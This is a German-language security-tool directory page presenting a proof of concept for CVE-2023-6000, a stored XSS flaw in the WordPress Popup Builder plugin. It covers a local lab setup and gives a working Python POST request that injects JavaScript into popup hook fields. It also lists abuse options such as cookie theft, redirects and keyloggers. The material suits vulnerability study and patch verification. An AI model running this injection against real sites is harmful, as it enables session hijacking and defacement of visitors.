Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-6000-POC — Diese Schwachstelle zeigt eine XSS-Schwachstelle in einem WordPress-Popup-Plugin, die es Angreifern ermöglicht, bösartiges JavaScript durch einen stored XSS einzuschleusen. | Kitploit
Tools/GitHubGitHub/ronf98/cve-2023-6000-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubronf98/cve-2023-6000-poc

CVE-2023-6000-POC

Diese Schwachstelle zeigt eine XSS-Schwachstelle in einem WordPress-Popup-Plugin, die es Angreifern ermöglicht, bösartiges JavaScript durch einen stored XSS einzuschleusen.

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Allgemeine Details

  • CVE-ID : CVE-2023-6000
  • CVSS-Score : 6.1
  • Typ : Stored XSS
  • Behobene Version : Popup Builder 4.2.3

Diese Schwachstelle ermöglicht es einem Angreifer, eine Cross-Site-Scripting (XSS)-Schwachstelle im WordPress Popup Builder Plugin auszunutzen. Das Plugin verhindert nicht, dass normale Besucher vorhandene Popups ändern können, und durch das Senden einer speziell präparierten Anfrage an den Server kann der Angreifer bösartige Skripte in das Popup injizieren, die ausgeführt werden, wenn Benutzer mit dem Popup interagieren.

In diesem POC wird die Schwachstelle ausgelöst, indem das Öffnungsverhalten des Popups manipuliert wird. Dabei wird ein einfaches Alert-Skript injiziert, das ausgeführt wird, wenn das Popup geöffnet wird. Diese Art von Angriff kann zu einer Reihe von Problemen führen, darunter unbefugter Zugriff auf vertrauliche Informationen und weitere Ausnutzung der betroffenen Website, was möglicherweise Benutzerdaten oder die gesamte Website gefährdet.

POC-Umgebungseinrichtung

  1. XAMPP herunterladen, um den lokalen Webserver zu hosten (neueste Version)
  2. Eine SQL-Datenbank erstellen
  3. WordPress installieren (neueste Version)
  4. WordPress-Admin aufrufen und eine anfällige Version von Popup Builder (<4.2.3) installieren
  5. Eine einfache Startseite und ein Popup einrichten, um die Schwachstelle anzuzeigen

Schritt 1: XAMPP

Für diesen POC können wir einen Windows 10-Rechner verwenden und XAMPP herunterladen: https://www.apachefriends.org/download.html
Stellen Sie nach der Installation sicher, dass die Apache- und MySQL-Module aktiviert sind:

Bild

Schritt 2: SQL-Datenbank

WordPress benötigt, wie die meisten Content-Management-Systeme, eine Datenbank, um alle wichtigen Daten zu speichern. Die von uns erstellte SQL-Datenbank dient als zentraler Speicher für all diese Informationen.

  • Navigieren Sie in Ihrem Browser zu http://localhost/phpmyadmin
  • Gehen Sie zum Tab "Datenbanken" und erstellen Sie eine neue Datenbank (z. B. wordpress_db).
  • Notieren Sie sich den Datenbanknamen, da Sie ihn bei der WordPress-Einrichtung benötigen.

Schritt 3: WordPress

  • Laden Sie WordPress von der offiziellen Website herunter - https://wordpress.org/download/
  • Entpacken Sie nach dem Herunterladen die WordPress-Zip-Datei in das Verzeichnis Ihrer XAMPP-Installation unter C:\xampp\htdocs\
  • Navigieren Sie als nächstes zu http://localhost/wordpress, wo der Installationsbildschirm erscheint.
  • Geben Sie im Feld "Datenbankname" den von uns erstellten SQL-Datenbanknamen ein. Die restlichen Felder können Sie als Standard belassen (Benutzer: root, Passwort: leer (Standard für XAMPP)).
  • Wenn die Datenbankverbindung erfolgreich ist, können Sie anschließend einen Admin-Benutzer für den späteren Zugriff einrichten.

Schritt 4: Popup Builder

Die anfällige Version des Popup Builder Plugins kann von der Hauptseite heruntergeladen werden: https://wordpress.org/plugins/popup-builder/advanced/
Wählen Sie eine ältere Version vor dem Fix in 4.2.3:
Bild
Gehen Sie als nächstes zu Ihrer WordPress-Admin-Seite - http://localhost/wordpress/wp-login.php
Plugins -> Plugin hinzufügen -> Plugin hochladen -> Wählen Sie die heruntergeladene .ZIP-Datei aus und installieren Sie sie.

Schritt 5: Startseite und Popup

Erstellen Sie auf der WordPress-Admin-Seite eine einfache Startseite, indem Sie zu Seiten -> Neue Seite hinzufügen -> Ein Muster auswählen gehen.
Für das Popup gehen Sie zu Popup Builder -> Neu hinzufügen -> Typ auswählen und anpassen.
Für diesen POC habe ich ein Abonnement-Popup ausgewählt, da dies eines der am häufigsten vorkommenden Popups auf heutigen Websites ist.
Bild

Im Tab "Anzeigeregeln" können Sie das Popup Ihrer Startseite zuweisen:
Bild

Wenn wir nun unsere Startseite über http://localhost/wordpress/ aufrufen, sehen wir, dass unser Popup ausgelöst wird.

Exploit

Um den Exploit auszuführen, müssen wir zuerst die Popup-ID identifizieren.
Dies kann erreicht werden, indem wir zur Website navigieren, das Popup auslösen und den Netzwerk-Tab in den Entwicklertools öffnen.
Suchen Sie nach der admin-ajax.php-Anfrage, einer Kernkomponente von WordPress zur Verarbeitung von AJAX-Anfragen.
Popup Builder nutzt diese, um Funktionen wie Speichern, Aktualisieren, Vorschau und Steuerung von Popups in WordPress zu verwalten.

Im Payload-Tab finden wir die Popup-ID:

Bild

Nachdem wir die Popup-ID gefunden haben, können wir das folgende Skript verwenden, um den Exploit auszulösen:

root@kitploit:~
import requests

# Define the target URL for the vulnerable site
url = "http://localhost/wordpress/"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
    }
data = {
    "sgpb-is-preview": "1",
    "post_ID": "22",     #use the Popup ID we found
    "sgpb-type": "html",
    "sgpb-WillOpen": "alert('Stored XSS Executed Successfully');"     #custom JS code goes here
    }

# Send the POST request and output the results
response = requests.post(url, data=data)
print(response.text)

Zusätzliche Optionen

Da wir das Popup bearbeiten können, können wir auch den Auslösezeitpunkt unseres benutzerdefinierten JS steuern. Wenn wir zur WordPress-Admin-Seite gehen, finden wir in den Popup-Einstellungen die Option "Benutzerdefiniertes JS oder CSS". Diese steuert den Zeitpunkt der Ausführung des benutzerdefinierten Codes:

  • "sgpb-ShouldOpen": Wird ausgeführt, bevor das Popup zu öffnen beginnt, und prüft, ob es geöffnet werden soll.
  • "sgpb-WillOpen": Wird ausgeführt, kurz bevor das Popup geöffnet wird, und ermöglicht Aktionen in letzter Sekunde.
  • "sgpb-DidOpen": Wird direkt nach dem vollständigen Öffnen des Popups ausgeführt, ideal für Aktionen nach dem Laden (z. B. XSS).
  • "sgpb-ShouldClose": Prüfungen oder Aktionen, die ausgelöst werden, bevor das Popup zu schließen beginnt.
  • "sgpb-WillClose": Wird direkt vor dem Schließen des Popups ausgeführt und ermöglicht abschließende Änderungen.
  • "sgpb-DidClose": Wird sofort nach dem vollständigen Schließen des Popups ausgeführt.

Bild

Wir können dies dann je nach gewünschter Verwendung in unser Skript einbauen.

Ausführung

Nach dem Auslösen des Skripts sehen wir in der WordPress-Admin-Seite, dass dem benutzerdefinierten JS-Bereich unseres Popups eine neue Zeile hinzugefügt wurde:

Bild

Wenn wir die Website nun als normaler Benutzer aufrufen, sehen wir die folgende Meldung:

Bild

Wir können auch sehen, dass unsere Nachricht in der SQL-Datenbank (standardmäßig in der Tabelle wp_postmeta) gespeichert wurde, was bestätigt, dass es sich um ein stored XSS handelt:

Bild

Mögliche Verwendung

Diese stored-XSS-Schwachstelle im Popup Builder Plugin ermöglicht es dem Angreifer, bösartiges JavaScript einzubetten, das ausgeführt wird, sobald ein Benutzer mit dem infizierten Popup interagiert. Die folgenden Möglichkeiten bestehen, dies böswillig auszunutzen:

  • Session Hijacking: Bösartiger JS-Code kann Sitzungscookies stehlen und an eine externe Domäne senden, sodass Angreifer Benutzerkonten übernehmen können.
  • Weiterleitung: Das Skript kann Benutzer auf gefälschte Login-Seiten oder andere bösartige Websites umleiten (dies kann durch Hinzufügen des folgenden JS-Codes erreicht werden: window.location.href = 'https://facebook.com')
  • Drive-by-Downloads: Der Angreifer kann Downloads bösartiger Dateien auslösen, sodass Benutzer unwissentlich Malware installieren.
  • Defacement und Fehlinformationen: Injizierte Skripte können den Seiteninhalt manipulieren, die Website verunstalten oder Benutzern falsche Informationen anzeigen.
  • Keylogger: Bösartige Skripte können verwendet werden, um Tastatureingaben der Benutzer zu protokollieren, vertrauliche Daten und persönliche Informationen zu erfassen und an die Domäne des Angreifers zu senden.
Tool herunterladen